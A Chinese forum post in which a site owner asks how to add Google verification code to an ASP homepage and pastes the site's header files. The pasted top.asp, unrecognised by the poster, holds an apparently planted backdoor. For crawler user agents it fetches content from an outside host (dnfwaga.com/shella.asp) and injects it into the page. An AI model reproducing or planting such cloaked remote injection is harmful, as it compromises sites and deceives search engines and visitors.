关于在asp文件中添加代码的问题
最近想使用一下google的管理员工具,于是需要添加一串Google提供的代码在<head>标签中,但是,我们的主页是asp文件,index文件里没有head标签,具体显示的是这样的:
<!--#include file="head.asp"-->
<!--#include file="Top.asp"-->
注:本人不懂asp
于是想,大概是在head.asp或者top.asp文件里吧。于是打开了top.asp文件查看:
<%
'网站头部文件
On Error Resume Next
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&dns)
else
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&url&"&dn="&dns)
end if
end if
%>
完全没有看懂,好吧继续看head.asp文件:
<%indexok=1 %>
<!--#include file="inc/Conn.asp"-->
<!--#include file="inc/Config.asp"-->
<!--#include file="inc/Function.asp"-->
<%
'静态页面判断
Set Rs1 = Server.CreateObject("ADODB.RecordSet")
Sql = "select * from htm"
Rs1.Open sql,conn,1,1
dim shouye,erji,neirong,dingshi
shouye=Rs1("shouye")
erji=Rs1("erji")
neirong=Rs1("neirong")
dingshi=Rs1("dingshi")
Rs1.close
set Rs1=Nothing
%>
这个还是看不懂!!
但是好像和inc文件夹里的三个文件有关,于是继续查看:但是依然找不到我能看的懂的任何html标签。
真是糊涂了,我该怎么办,哪一位好人高手能指点小弟一下,不胜感激!!